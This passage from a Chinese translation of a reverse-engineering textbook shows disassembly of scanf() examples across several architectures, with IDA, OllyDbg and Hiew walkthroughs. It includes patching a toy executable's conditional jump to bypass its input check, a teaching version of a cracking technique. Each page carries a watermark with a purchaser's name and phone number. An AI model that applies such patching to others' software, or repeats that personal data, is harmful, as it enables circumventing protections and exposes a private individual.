现在代码段(.text),但是 x 变量却出现于数据段(.data)?原因在于 x 是变量。顾名思义,变量的值可变、属于 一种频繁变化的可变数据。在 ARM 系统里,代码段的程序代码可存储于处理器的 ROM(Read-Only Memory), 而可变变量存储于 RAM(Random-Access Memory)中。与 x86/x64 系统相比,ARM 系统的内存寻址能力很有限, 可用内存往往十分紧张。在 ARM 系统存在 ROM 的情况下,使用 RAM 内存存储常量则明显是一种浪费。此外, ARM 系统在启动之后 RAM 里的值都是随机数;想要使用 RAM 存储常量,还要单独进行初始化赋值才行。 在后续代码段的指令中,程序给变量 x 分配了个指针(即 off_2c)。此后,程序都是通过这个指针对 x 变量进行的操作。不这样做的话变量 x 可能被分配到距离程序代码段很远的内存空间,其偏移量有可能超 过有关寻址指令的寻址能力。Thumb 模式下,ARM 系统的 LDR 指令只能够使用周边 1020 字节之内的变 量;即使在 32 位 ARM 模式下,它也只能调用偏移量在±4095 字节之内的变量。这个范围就是变量地址(与 调用指令之间)的偏移量的局限。为了保证它的地址离代码段足够近、能被代码调用,就需要就近分配 x 变量的地址。由于在链接阶段(linker)x 的地址可能会被随意分配,甚至可能被分配到外部内存的地址, 所以编译器必须在前期阶段就把 x 的地址分配到就近的区域之内。 另外,如果声明某变量为常量/const,Keil 编译程序会把这个变量分配到.constdata 字段。这可能是为 异步社区会员 dearfuture(15918834820) 专享 尊重版权 70 逆向工程权威指南(上册) 了便于后期 linker 把这个字段与代码段一起放入 ROM。 7.2.6 ARM64 指令清单 7.7 Non-optimizing GCC 4.9.1 ARM64 1 .comm x,4,4 2 .LC0: 3 .string "Enter X:" 4 .LC1: 5 .string "%d" 6 .LC2: 7 .string "You entered %d...\n" 8 f5: 9 ; save FP and LR in stack frame: 10 stp x29, x30, [sp, -16]! 11 ; set stack frame (FP=SP) 12 add x29, sp, 0 13 ; load pointer to the "Enter X:" string: 14 adrp x0, .LC0 15 add x0, x0, :lo12:.LC0 16 bl puts 17 ; load pointer to the "%d" string: 18 adrp x0, .LC1 19 add x0, x0, :lo12:.LC1 20 ; form address of x global variable: 21 adrp x1, x 22 add x1, x1, :lo12:x 23 bl __isoc99_scanf 24 ; form address of x global variable again: 25 adrp x0, x 26 add x0, x0, :lo12:x 27 ; load value from memory at this address: 28 ldr w1, [x0] 29 ; load pointer to the "You entered %d...\n" string: 30 adrp x0, .LC2 31 add x0, x0, :lo12:.LC2 32 bl printf 33 ; return 0 34 mov w0, 0 35 ; restore FP and LR: 36 ldp x29, x30, [sp], 16 37 ret 在上述代码里变量 x 被声明为全局变量。程序通过 ADRP/ADD 指令对(第 21 行和第 25 行)计算它的指针。 7.2.7 MIPS 无未初始值的全局变量 以变量 x 为全局变量为例。我们把它编译为可执行文件,然后使用 IDA 加载这个程序。因为程序在声明变 量 x 的时候没有对它进行初始化赋值,所以在 IDA 中变量 x 出现在.sbss ELF 里(请参见 3.5.1 节的全局指针)。 指令清单 7.8 Optimizing GCC 4.4.5 (IDA) .text:004006C0 main: .text:004006C0 .text:004006C0 var_10 = -0x10 .text:004006C0 var_4 = -4 .text:004006C0 ; function prologue: .text:004006C0 lui $gp, 0x42 .text:004006C4 addiu $sp, -0x20 .text:004006C8 li $gp, 0x418940 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 71 .text:004006CC sw $ra, 0x20+var_4($sp) .text:004006D0 sw $gp, 0x20+var_10($sp) ; call puts(): .text:004006D4 la $t9, puts .text:004006D8 lui $a0, 0x40 .text:004006DC jalr $t9 ; puts .text:004006E0 la $a0, aEnterX # "Enter X:" ; branch delay slot ; call scanf(): .text:004006E4 lw $gp, 0x20+var_10($sp) .text:004006E8 lui $a0, 0x40 .text:004006EC la $t9, __isoc99_scanf ; prepare address of x: .text:004006F0 la $a1, x .text:004006F4 jalr $t9 ; __isoc99_scanf .text:004006F8 la $a0, aD # "%d" ; branch delay slot ; call printf(): .text:004006FC lw $gp, 0x20+var_10($sp) .text:00400700 lui $a0, 0x40 ; get address of x: .text:00400704 la $v0, x .text:00400708 la $t9, printf ; load value from "x" variable and pass it to printf() in $a1: .text:0040070C lw $a1, (x - 0x41099C)($v0) .text:00400710 jalr $t9 ; printf .text:00400714 la $a0, aYouEnteredD___ # "You entered %d...\n" ; branch delay slot ; function epilogue: .text:00400718 lw $ra, 0x20+var_4($sp) .text:0040071C move $v0, $zero .text:00400720 jr $ra .text:00400724 addiu $sp, 0x20 ; branch delay slot ... .sbss:0041099C # Segment type: Uninitialized .sbss:0041099C .sbss .sbss:0041099C .globl x .sbss:0041099C x: .space 4 .sbss:0041099C IDA 会精简部分指令信息。我们不妨通过 objdump 观察上述文件确切的汇编指令。 指令清单 7.9 Optimizing GCC 4.4.5 (objdump) 1 004006c0 <main>: 2 ; function prologue: 3 4006c0: 3c1c0042 lui gp,0x42 4 4006c4: 27bdffe0 addiu sp,sp,-32 5 4006c8: 279c8940 addiu gp,gp,-30400 6 4006cc: afbf001c sw ra,28(sp) 7 4006d0: afbc0010 sw gp,16(sp) 8 ; call puts(): 9 4006d4: 8f998034 lw t9,-32716(gp) 10 4006d8: 3c040040 lui a0,0x40 11 4006dc: 0320f809 jalr t9 12 4006e0: 248408f0 addiu a0,a0,2288 ; branch delay slot 13 ; call scanf(): 14 4006e4: 8fbc0010 lw gp,16(sp) 15 4006e8: 3c040040 lui a0,0x40 16 4006ec: 8f998038 lw t9,-32712(gp) 17 ; prepare address of x: 18 4006f0: 8f858044 lw a1,-32700(gp) 19 4006f4: 0320f809 jalr t9 20 4006f8: 248408fc addiu a0,a0,2300 ; branch delay slot 21 ; call printf(): 22 4006fc: 8fbc0010 lw gp,16(sp) 23 400700: 3c040040 lui a0,0x40 24 ; get address of x: 25 400704: 8f828044 lw v0,-32700(gp) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 72 逆向工程权威指南(上册) 26 400708: 8f99803c lw t9,-32708(gp) 27 ; load value from "x" variable and pass it to printf() in $a1: 28 40070c: 8c450000 lw a1,0(v0) 29 400710: 0320f809 jalr t9 30 400714: 24840900 addiu a0,a0,2304 ; branch delay slot 31 ; function epilogue: 32 400718: 8fbf001c lw ra,28(sp) 33 40071c: 00001021 move v0,zero 34 400720: 03e00008 jr ra 35 400724: 27bd0020 addiu sp,sp,32 ; branch delay slot 36 ; pack of NOPs used for aligning next function start on 16-byte boundary: 37 400728: 00200825 move at,at 38 40072c: 00200825 move at,at 第 18 行处的指令对全局指针 GP 和一个负数值的偏移量求和,以此计算变量 x 在 64KB 数据缓冲区里 的访问地址。此外,三个外部函数(puts()、scanf()、printf())在 64KB 数据空间里的全局地址,也是借助 GP 计算出来的(第 9 行、第 16 行、第 26 行)。GP 指向数据空间的正中央。经计算可知,三个函数的地 址和变量 x 的地址都在数据缓冲区的前端。这并不意外,因为这个程序已经很短小了。 此外,值得一提的是函数结尾处的两条 NOP 指令。它的实际指令是空操作指令“MOVE$AT, $AT”。 借助这两条 NOP 指令,后续函数的起始地址可向 16 字节边界对齐。 有初始值的全局变量 我们对前文的例子做相应修改,把有关行改为: int x=10; // default value 则可得如下代码段。 指令清单 7.10 Optimizing GCC 4.4.5 (IDA) .text:004006A0 main: .text:004006A0 .text:004006A0 var_10 = -0x10 .text:004006A0 var_8 = -8 .text:004006A0 var_4 = -4 .text:004006A0 .text:004006A0 lui $gp, 0x42 .text:004006A4 addiu $sp, -0x20 .text:004006A8 li $gp, 0x418930 .text:004006AC sw $ra, 0x20+var_4($sp) .text:004006B0 sw $s0, 0x20+var_8($sp) .text:004006B4 sw $gp, 0x20+var_10($sp) .text:004006B8 la $t9, puts .text:004006BC lui $a0, 0x40 .text:004006C0 jalr $t9 ; puts .text:004006C4 la $a0, aEnterX # "Enter X:" .text:004006C8 lw $gp, 0x20+var_10($sp) ; prepare high part of x address: .text:004006CC lui $s0, 0x41 .text:004006D0 la $t9, __isoc99_scanf .text:004006D4 lui $a0, 0x40 ; add low part of x address: .text:004006D8 addiu $a1, $s0, (x - 0x410000) ; now address of x is in $a1. .text:004006DC jalr $t9 ; __isoc99_scanf .text:004006E0 la $a0, aD # "%d" .text:004006E4 lw $gp, 0x20+var_10($sp) ; get a word from memory: .text:004006E8 lw $a1, x ; value of x is now in $a1. .text:004006EC la $t9, printf .text:004006F0 lui $a0, 0x40 .text:004006F4 jalr $t9 ; printf 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 73 .text:004006F8 la $a0, aYouEnteredD___ # "You entered %d...\n" .text:004006FC lw $ra, 0x20+var_4($sp) .text:00400700 move $v0, $zero .text:00400704 lw $s0, 0x20+var_8($sp) .text:00400708 jr $ra .text:0040070C addiu $sp, 0x20 ... .data:00410920 .globl x .data:00410920 x: .word 0xA 为何它处没有了.sdata 段?这可能是受到了 GCC 选项的影响。不论如何,变量 x 出现在.data 段里。这 个段会被加载到常规的通用内存区域,我们可以在此看到变量的处理方法。 MTPS 程序必须使用成对指令处理变量的地址。本例使用的是 LUI(Load Upper Immediate)和 ADDIU (Add Immediate Unsigned Word)指令时。 我们继续借助 objdump 观察确切地操作指令。 指令清单 7.11 Optimizing GCC 4.4.5 (objdump) 004006a0 <main>: 4006a0: 3c1c0042 lui gp,0x42 4006a4: 27bdffe0 addiu sp,sp,-32 4006a8: 279c8930 addiu gp,gp,-30416 4006ac: afbf001c sw ra,28(sp) 4006b0: afb00018 sw s0,24(sp) 4006b4: afbc0010 sw gp,16(sp) 4006b8: 8f998034 lw t9,-32716(gp) 4006bc: 3c040040 lui a0,0x40 4006c0: 0320f809 jalr t9 4006c4: 248408d0 addiu a0,a0,2256 4006c8: 8fbc0010 lw gp,16(sp) ; prepare high part of x address: 4006cc: 3c100041 lui s0,0x41 4006d0: 8f998038 lw t9,-32712(gp) 4006d4: 3c040040 lui a0,0x40 ; add low part of x address: 4006d8: 26050920 addiu a1,s0,2336 ; now address of x is in $a1. 4006dc: 0320f809 jalr t9 4006e0: 248408dc addiu a0,a0,2268 4006e4: 8fbc0010 lw gp,16(sp) ; high part of x address is still in $s0. ; add low part to it and load a word from memory: 4006e8: 8e050920 lw a1,2336(s0) ; value of x is now in $a1. 4006ec: 8f99803c lw t9,-32708(gp) 4006f0: 3c040040 lui a0,0x40 4006f4: 0320f809 jalr t9 4006f8: 248408e0 addiu a0,a0,2272 4006fc: 8fbf001c lw ra,28(sp) 400700: 00001021 move v0,zero 400704: 8fb00018 lw s0,24(sp) 400708: 03e00008 jr ra 40070c: 27bd0020 addiu sp,sp,32 这个程序使用 LUI 和 ADDIU 指令对生成变量地址。地址的高地址位仍然存储于$S0 寄存器,而且单条 LW 指令(Load Word)即可封装这个偏移量。所以,单条 LW 指令足以提取变量的值,然后把它交付给 printf()函数。 T-字头的寄存器名称是临时数据寄存器的助记符。此外,这段程序还使用到了 S-字头的寄存器名称。 在调用其他函数之前,调用方函数应当保管好自身 S-字头的寄存器的值,避免它们受到被调用方函数的影 响,举例来说在 0x4006cc 处的指令对$S0 寄存器赋值,而后程序调用了 scanf()函数,接着地址为 0x4006e8 的指令然继续调用$S0 据此我们可以判断。scanf()函数不会变更$S0 的值。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 74 逆向工程权威指南(上册) 7.3 scanf()函数的状态监测 大家都知道 scanf()不怎么流行了,但是这并不代表它派不上用场了。在万不得已必须使用这个函数的 时候,切记检查函数的退出状态是否正确。例如: #include <stdio.h> int main() { int x; printf ("Enter X:\n"); if (scanf ("%d", &x)==1) printf ("You entered %d...\n", x); else printf ("What you entered? Huh?\n"); return 0; }; 根据这个函数的功能规范 ① 7.3.1 MSVC:x86 ,scanf()函数在退出时会返回成功赋值的变量总数。 就本例子而言,正常情况下:用户输入一个整型数字时函数返回 1;如果没有输入的值存在问题(或 为 EOF/没有输入数据),scanf()则返回 0。 为此我们可在 C 程序里添加结果检查的代码,以便在出现错误时进行相应的处理。 我们来验证一下: C:\...>ex3.exe Enter X: 123 You entered 123... C:\...>ex3.exe Enter X: ouch What you entered? Huh? 使用 MSVC2010 生成的汇编代码如下所示。 lea eax, DWORD PTR _x$[ebp] push eax push OFFSET $SG3833 ; '%d', 00H call _scanf add esp, 8 cmp eax, 1 jne SHORT $LN2@main mov ecx, DWORD PTR _x$[ebp] push ecx push OFFSET $SG3834 ; 'You entered %d... ', 0aH, 00H call _printf add esp, 8 jmp SHORT $LN1@main $LN2@main: push OFFSET $SG3836 ; 'What you entered? Huh? ', 0aH, 00H call _printf add esp, 4 $LN1@main: xor eax, eax ① 请参照 http://msdn.microsoft.com/en-us/library/9y6s16x1(VS.71).aspx。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 75 当被调用方函数 callee(本例中是 scanf()函数)使用 EAX 寄存器向调用方函数 caller(本例中是 main() 函数)传递返回值。 之后,“CMP EAX,1”指令对返回值进行比对,检查其值是否为 1。 JNE 是条件转移指令其全称是“Jump if Not Equal”。在两值不相同时进行跳转。 就是说,如果 EAX 寄存器里的值不是 1,则程序将跳转到 JNE 所指明的地址(本例中会跳到 $LN1@main);在将控制权指向这个地址之后,CPU 会执行其后的打印指令,显示“What you entered? Huh?”。 另一种情况是 scanf()成功读取指定数据类型的数据,其返回值就会是 1,此时不会发生跳转,而是继续执 行 JNE 以后的指令,显示‘You entered %d…’和变量 x 的值。 在 scanf()函数成功地给变量赋值的情况下,程序会一路执行到 JMP(无条件转移)指令。这条指令会 跳过第二条调用 printf()函数的指令,从“XOR EAX,EAX”指令开始执行,从而完成 return 0 的操作。 可见,“一般地说”条件判断语句会出现成对的“CMP/Jcc”指令。此处cc是英文“condition code” 的缩写。比较两个值的CMP指令会设置处理器的标志位 ① 7.3.2 MSVC:x86:IDA 。Jcc指令会检查这些标志位,判断是否进行跳 转。 但是上述的说法容易产生误导,实际上 CMP 指令进行的操作是减法运算。确切地说,不仅是 CMP 指令所有的“数学/算术计算”指令都会设置标志位。如果将 1 与 1 进行比较,1−1=0,ZF 标志位(“零” 标识位,最终运算结果是 0)将被计算指令设定为 1。将两个不同的数值进行 CMP 比较时,ZF 标志位 的值绝不会是 1。JNE 指令会依据 ZF 标志位的状态判断是否需要进行跳转,实际上此两者(Jump if Not Zero)的同义指令。JNE 和 JNZ 的 opcode 都相同。所以,即使使用减法运算操作指令 SUB 替换 CMP 指令,Jcc 指令也可以进行正常的跳转。不过在使用 SUB 指令时,我们还需要分配一个寄存器保存运算 结果,而 CMP 则不需要使用寄存器保存运算结果。 现在来让 IDA 大显身手。对于多数初学者来说,使用 MSVC 编译器的/MD 选项是个值得推荐的 好习惯。这个选项会要求编译器“不要链接(link)标准函数”,而是从 MSVCR*.DLL 里导入这些 标准函数。总之,使用/MD 选项编译出来的代码一目了然,便于我们观察它在哪里、调用了哪些标 准函数。 在使用 IDA 分析程序的时候,应当充分利用它的标记功能。比如说,分析这段程序的时候,我们明 白在发生错误的时候会执行 JNE 跳转。此时就可以用鼠标单击跳转的 JNE 指令,按下“n”键,把相应 的标签(lable)改名为“error”;然后把正常退出的标签重命名为“exit”。这种修改就可大幅度增强代码 的可读性。 .text:00401000 _main proc near .text:00401000 .text:00401000 var_4 = dword ptr -4 .text:00401000 argc = dword ptr 8 .text:00401000 argv = dword ptr 0Ch .text:00401000 envp = dword ptr 10h .text:00401000 .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 push ecx .text:00401004 push offset Format ; "Enter X:\n" .text:00401009 call ds:printf .text:0040100F add esp, 4 .text:00401012 lea eax, [ebp+var_4] .text:00401015 push eax .text:00401016 push offset aD ; "%d" .text:0040101B call ds:scanf ① processor flags,参见 http://en.wikipedia.org/wiki/FLAGS_register_(computing)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 76 逆向工程权威指南(上册) .text:00401021 add esp, 8 .text:00401024 cmp eax, 1 .text:00401027 jnz short error .text:00401029 mov ecx, [ebp+var_4] .text:0040102C push ecx .text:0040102D push offset aYou ; "You entered %d...\n" .text:00401032 call ds:printf .text:00401038 add esp, 8 .text:0040103B jmp short exit .text:0040103D .text:0040103D error: ; CODE XREF: _main+27 .text:0040103D push offset aWhat ; "What you entered? Huh?\n" .text:00401042 call ds:printf .text:00401048 add esp, 4 .text:0040104B .text:0040104B exit: ; CODE XREF: _main+3B .text:0040104B xor eax, eax .text:0040104D mov esp, ebp .text:0040104F pop ebp .text:00401050 retn .text:00401050 _main endp 如此一来,这段代码就容易理解了。虽然重命名标签的功能很强大,但是逐一修改每条指令的标签则 无疑是画蛇添足。 此外,IDA 还有如下一些高级用法。 整理代码: 标记某段代码之后,按下键盘数字键的“-”减号,整段代码将被隐藏,只留下首地址和标签。下面 的例子中,我隐藏了两段代码,并对整段代码进行了重命名。 .text:00401000 _text segment para public 'CODE' use32 .text:00401000 assume cs:_text .text:00401000 ;org 401000h .text:00401000 ; ask for X .text:00401012 ; get X .text:00401024 cmp eax, 1 .text:00401027 jnz short error .text:00401029 ; print result .text:0040103B jmp short exit .text:0040103D .text:0040103D error: ; CODE XREF: _main+27 .text:0040103D push offset aWhat ; "What you entered? Huh?\n" .text:00401042 call ds:printf .text:00401048 add esp, 4 .text:0040104B .text:0040104B exit: ; CODE XREF: _main+3B .text:0040104B xor eax, eax .text:0040104D mov esp, ebp .text:0040104F pop ebp .text:00401050 retn .text:00401050 _main endp 如需显示先前隐藏的代码,可以直接使用数字键盘上的“+”加号。 图解模式: 按下空格键,IDA 将会进入图解的显示方式。其效果如图 7.7 所示。 判断语句会分出两个箭头,一条是红色、一条是绿色。当判断条件表达式的值为真时,程序会走绿色 箭头所示的流程;如果判断条件表达式不成立,程序会采用红色箭头所标示的流程。 图解模式下,也可以对各分支节点命名和收缩。图 7.8 处理了 3 个模块。 这种图解模式非常实用。逆向工程工作经验不多的人,可使用这种方式来大幅度地减少他需要处理 的信息量。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 77 图 7.7 IDA 的图解模式 图 7.8 IDA 图解模式下的收缩操作 7.3.3 MSVC:x86+OllyDbg 我们使用 OllyDbg 调试刚才的程序,在 scanf()异常返回的情况下强制其继续运行余下的指令。 在把本地变量的地址传递给 scanf()的时候,变量本身处于未初始化状态,其值应当是随机的噪声数据。 如图 7.9 所示,变量 x 的值为 0x6E494714。 图 7.9 使用 OllyDbg 观察 scanf()的变量传递过程 异步社区会员 dearfuture(15918834820) 专享 尊重版权 78 逆向工程权威指南(上册) 在执行 scanf()函数的时候,我们输入非数字的内容,例如 “asdasd”。这时候 scanf()会通过 EAX 寄存 器返回 0,如图 7.10 所示。这个零意味着 scanf()函数遇到某种错误。 图 7.10 使用 OllyDbg 观察 scanf()的异常处理 执行 scanf()前后,变量 x 的值没有发生变化。在上述情况下,scanf()函数仅仅返回 0,而没对变量进行 赋值。 现在来“hack”一下。右键单击 EAX,选中“Set to 1”。 在此之后 EAX 寄存器存储的值被人为设定为 1,程序将完成后续的操作, printf()函数会在控制台里显示数据栈里变量 x 的值。 我们使用 F9 键继续运行程序。此后控制台的情况如图 7.11 所示。 1850296084 是十进制值,其十六进制值就是我们刚才看到的 0x6E494714。 7.3.4 MSVC:x86+Hiew 下面,我们一起修改可执行文件。所谓的“修改”可执行文件,就是对其打补丁(即人们常说的“patch”)。 通过打补丁的方法,我们可以强制程序在所有情况下都进行输出。 首先,我们要启用 MSVC 的编译选项/MD。这样编译出来的可执行文件将把标准函数链接到 MSVCR*.DLL,以方便我们在可执行文件的文本段里找到 main()函数。此后,我们使用 Hiew 工具打开可 执行文件,找到.text 段开头部分的 main()函数(依次使用 Enter, F8, F6, Enter, Enter)。 然后会看到图 7.12 所示的界面。 图 7.12 使用 Hiew 观察 main()函数 图 7.11 控制台窗口 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 79 Hiew 能够识别并显示 ASCIIZ,即以 null 为结束字节的 ASCII 字符串。它还能识别导入函数的函数名称。 如图 7.13 所示,将鼠标光标移至.0040127 处(即 JNZ 指令的所在位置,我们使其失效),按 F3 键, 然后输入“9090”。“9090”是两个连续的 NOP(No Operation,空操作)的 opcode。 图 7.13 在 Hiew 中把 JNZ 替换为两条 NOP 指令 然后按 F9 键(更新),把修改后的可执行文件保存至磁盘。 连续的 9090 是典型的修改特征,有的人会觉得不甚美观。此外还可以把这个 opcode 的第二个字节改 为零(opcode 的两个字节代表 jump offset),令 jcc 指令跳转的偏移量为 0,从而继续运行下一条指令。 刚才的修改方法可使转移指令失效。除此以外我们还可以强制程序进行转我们可以把 jcc 对应的 opcode 的第 一个字节替换为“EB”,不去修改第二字节(offset)。这种修改方法把条件转移指令替换为了无条件跳转指令。经 过这样的调整之后,本例中的可执行文件都会无条件地显示错误处理信息“What you entered? Huh?”。 7.3.5 MSVC:x64 本例使用的变量 x 是 int 型整数变量。在 x64 系统里,int 型变量还是 32 位数据。在 64 位平台上访问寄存 器的(低)32 位时,计算机就要使用助记符以 E-头的寄存器名称。然而在访问 x64 系统的 64 位指针时,我们 就需要使用 R-字头的寄存器名称、处理完整的 64 位数据。 指令清单 7.12 MSVC 2012 x64 _DATA SEGMENT $SG2924 DB 'Enter X: ', 0aH, 00H $SG2926 DB '%d', 00H $SG2927 DB 'You entered %d... ', 0aH, 00H $SG2929 DB 'What you entered? Huh? ', 0aH, 00H _DATA ENDS _TEXT SEGMENT x$ = 32 main PROC $LN5: sub rsp, 56 lea rcx, OFFSET FLAT:$SG2924 ; 'Enter X: ' call printf lea rdx, QWORD PTR x$[rsp] lea rcx, OFFSET FLAT:$SG2926 ; '%d' call scanf cmp eax, 1 jne SHORT $LN2@main 异步社区会员 dearfuture(15918834820) 专享 尊重版权 80 逆向工程权威指南(上册) mov edx, DWORD PTR x$[rsp] lea rcx, OFFSET FLAT:$SG2927 ; 'You entered %d... ' call printf jmp SHORT $LN1@main $LN2@main: lea rcx, OFFSET FLAT:$SG2929 ; 'What you entered? Huh? ' call printf $LN1@main: ; return 0 xor eax, eax add rsp, 56 ret 0 main ENDP _TEXT ENDS END 7.3.6 ARM ARM: Optimizing Keil 6/2013 (Thumb 模式) 指令清单 7.13 Optimizing Keil 6/2013 (Thumb 模式) var_8 = -8 PUSH {R3,LR} ADR R0, aEnterX ; "Enter X:\n" BL __2printf MOV R1, SP ADR R0, aD ; "%d" BL __0scanf CMP R0, #1 BEQ loc_1E ADR R0, aWhatYouEntered ; "What you entered? Huh?\n" BL __2printf loc_1A ; CODE XREF: main+26 MOVS R0, #0 POP {R3,PC} loc_1E ; CODE XREF: main+12 LDR R1, [SP,#8+var_8] ADR R0, aYouEnteredD___ ; "You entered %d...\n" BL __2printf B loc_1A 这里我们见到了未介绍过的 CMP 和 BEQ 指令。 ARM 系统的 CMP 与 x86 系统的同名指令相似。它们都是将两个参数相减,并设置相应的标志位。 BEQ 是条件转移指令(Branch if EQual),在 CMP 操作数相等的情况下进行跳转。如果 CMP 比较 的两个值相同,则 ZF 标志寄存器的值就会是 1,那么 BEQ 指令就会跳转到它指定的偏移量上去。它 与 x86 的 JZ 指令作用相同。 其余的指令并不难理解:程序流有两个分支,这两个分支最终收敛于 loc_1A 处,通过“MOV R0, #0” 指令把返回值保存于 R0 寄存器,然后退出。 ARM64 指令清单 7.14 Non-optimizing GCC 4.9.1 ARM64 1 .LC0: 2 .string "Enter X:" 3 .LC1: 4 .string "%d" 5 .LC2: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 7 章 scanf() 81 6 .string "You entered %d...\n" 7 .LC3: 8 .string "What you entered? Huh?" 9 f6: 10 ; save FP and LR in stack frame: 11 stp x29, x30, [sp, -32]! 12 ; set stack frame (FP=SP) 13 add x29, sp, 0 14 ; load pointer to the "Enter X:" string: 15 adrp x0, .LC0 16 add x0, x0, :lo12:.LC0 17 bl puts 18 ; load pointer to the "%d" string: 19 adrp x0, .LC1 20 add x0, x0, :lo12:.LC1 21 ; calculate address of x variable in the local stack 22 add x1, x29, 28 23 bl __isoc99_scanf 24 ; scanf() returned result in W0. 25 ; check it: 26 cmp w0, 1 27 ; BNE is Branch if Not Equal 28 ; so if W0<>0, jump to L2 will be occurred 29 bne .L2 30 ; at this moment W0=1, meaning no error 31 ; load x value from the local stack 32 ldr w1, [x29,28] 33 ; load pointer to the "You entered %d...\n" string: 34 adrp x0, .LC2 35 add x0, x0, :lo12:.LC2 36 bl printf 37 ; skip the code, which print the "What you entered? Huh?" string: 38 b .L3 39 .L2: 40 ; load pointer to the "What you entered? Huh?" string: 41 adrp x0, .LC3 42 add x0, x0, :lo12:.LC3 43 bl puts 44 .L3: 45 ; return 0 46 mov w0, 0 47 ; restore FP and LR: 48 ldp x29, x30, [sp], 32 49 ret 上述程序通过 CMP/BNE 指令对控制分支语句。 7.3.7 MIPS 指令清单 7.15 Optimizing GCC 4.4.5 (IDA) .text:004006A0 main: .text:004006A0 .text:004006A0 var_18 = -0x18 .text:004006A0 var_10 = -0x10 .text:004006A0 var_4 = -4 .text:004006A0 .text:004006A0 lui $gp, 0x42 .text:004006A4 addiu $sp, -0x28 .text:004006A8 li $gp, 0x418960 .text:004006AC sw $ra, 0x28+var_4($sp) .text:004006B0 sw $gp, 0x28+var_18($sp) .text:004006B4 la $t9, puts .text:004006B8 lui $a0, 0x40 .text:004006BC jalr $t9 ; puts .text:004006C0 la $a0, aEnterX # "Enter X:" 异步社区会员 dearfuture(15918834820) 专享 尊重版权 82 逆向工程权威指南(上册) .text:004006C4 lw $gp, 0x28+var_18($sp) .text:004006C8 lui $a0, 0x40 .text:004006CC la $t9, __isoc99_scanf .text:004006D0 la $a0, aD # "%d" .text:004006D4 jalr $t9 ; __isoc99_scanf .text:004006D8 addiu $a1, $sp, 0x28+var_10 # branch delay slot .text:004006DC li $v1, 1 .text:004006E0 lw $gp, 0x28+var_18($sp) .text:004006E4 beq $v0, $v1, loc_40070C .text:004006E8 or $at, $zero # branch delay slot, NOP .text:004006EC la $t9, puts .text:004006F0 lui $a0, 0x40 .text:004006F4 jalr $t9 ; puts .text:004006F8 la $a0, aWhatYouEntered # "What you entered? Huh?" .text:004006FC lw $ra, 0x28+var_4($sp) .text:00400700 move $v0, $zero .text:00400704 jr $ra .text:00400708 addiu $sp, 0x28 .text:0040070C loc_40070C: .text:0040070C la $t9, printf .text:00400710 lw $a1, 0x28+var_10($sp) .text:00400714 lui $a0, 0x40 .text:00400718 jalr $t9 ; printf .text:0040071C la $a0, aYouEnteredD___ # "You entered %d...\n" .text:00400720 lw $ra, 0x28+var_4($sp) .text:00400724 move $v0, $zero .text:00400728 jr $ra .text:0040072C addiu $sp, 0x28 scanf()函数通过$V0 寄存器传递其返回值。地址为 0x004006E4 的指令负责比较$V0 和$V1 的值。其中, $V1 在 0x004006DC 处被赋值为 1。BEQ 的作用是“Branch Equal”(在相等时进行跳转)。如果两个寄存器 里的值相等,即成功读取了 1 个整数,那么程序将会从 0x0040070C 处继续执行指令。 7.3.8 练习题 JNE/JNZ 指令可被修改为 JE/JZ 指令,而且后者也可被修改为前者。BNE 和 BEQ 之间也有这种关系。 不过,在进行这种替代式修改之后,还要对程序的基本模块进行修改。请多进行一些有关练习。 7.4 练习题 7.4.1 题目 这段代码在 Linux x86-64 上用 GCC 编译,运行的时候都崩溃了(段错误)。然而,它在 Windows 环境 下用 Msvc 2010 x86 编译后却能工作,为什么? #include <string.h> #include <stdio.h> void alter_string(char *s) { strcpy (s, "Goodbye!"); printf ("Result: %s\n", s); }; int main() { alter_string ("Hello, world!\n"); }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 88 章 章 参 参 数 数 获 获 取 取 调用方(caller)函数通过栈向被调用方(callee)函数传递参数。本章介绍被调用方函数获取参数的 具体方式。 指令清单 8.1 范例 #include <stdio.h> int f (int a, int b, int c) { return a*b+c; }; int main() { printf ("%d\n", f(1, 2, 3)); return 0; }; 8.1 x86 8.1.1 MSVC 使用 MSVC 2010 Express 编译上述程序,可得到汇编指令如下。 指令清单 8.2 MSVC 2010 Express _TEXT SEGMENT _a$ = 8 ; size = 4 _b$ = 12 ; size = 4 _c$ = 16 ; size = 4 _f PROC push ebp mov ebp, esp mov eax, DWORD PTR _a$[ebp] imul eax, DWORD PTR _b$[ebp] add eax, DWORD PTR _c$[ebp] pop ebp ret 0 _f ENDP _main PROC push ebp mov ebp, esp push 3 ; 3rd argument push 2 ; 2nd argument push 1 ; 1st argument call _f add esp, 12 push eax push OFFSET $SG2463 ; '%d', 0aH, 00H call _printf add esp, 8 异步社区会员 dearfuture(15918834820) 专享 尊重版权 84 逆向工程权威指南(上册) ; return 0 xor eax, eax pop ebp ret 0 _main ENDP main()函数把 3 个数字推送入栈,然后调用了 f(int, int, int)。被调用方函数 f()通过_a$=8 一类的汇编宏 访问所需参数以及函数自定义的局部变量。只不过从被调用方函数的数据栈的角度来看,外部参考的偏移 量是正值,而局部变量的偏移量是负值。可见,当需要访问栈帧(stack frame)以外的数据时,被调用方 函数可把汇编宏(例如_a$)与 EBP 寄存器的值相加,从而求得所需地址。 当变量 a 的值存入 EAX 寄存器之后,f()函数通过各参数的地址依次进行乘法和加法运算,运算结果 一直存储于 EAX 寄存器。此后 EAX 的值就可以直接作为返回值传递给调用方函数。调用方函数 main()再 把 EAX 的值当作参数传递给 printf()函数。 8.1.2 MSVC+OllyDbg 本节演示 OllyDbg 的使用方法。当 f()函数读取第一个参数时,EBP 的值指向栈帧,如图 8.1 中的红色 方块所示。栈帧里的第一个值是 EBP 的原始状态,第二个值是返回地址 RA,第三个值开始的三个值依次 为函数的第一个参数、第二个参数和第三个参数。在访问第一个参数(当需要访问第一个参数)时,计算 机需要把 EBP 的值加上 8(2 个 32 位 words)。 图 8.1 使用 OllyDbg 观察 f()函数 OllyDbg 能够识别出外部传递的参数。它会对栈里的数据进行标注,添加上诸如“RETURN from” “Arg1” 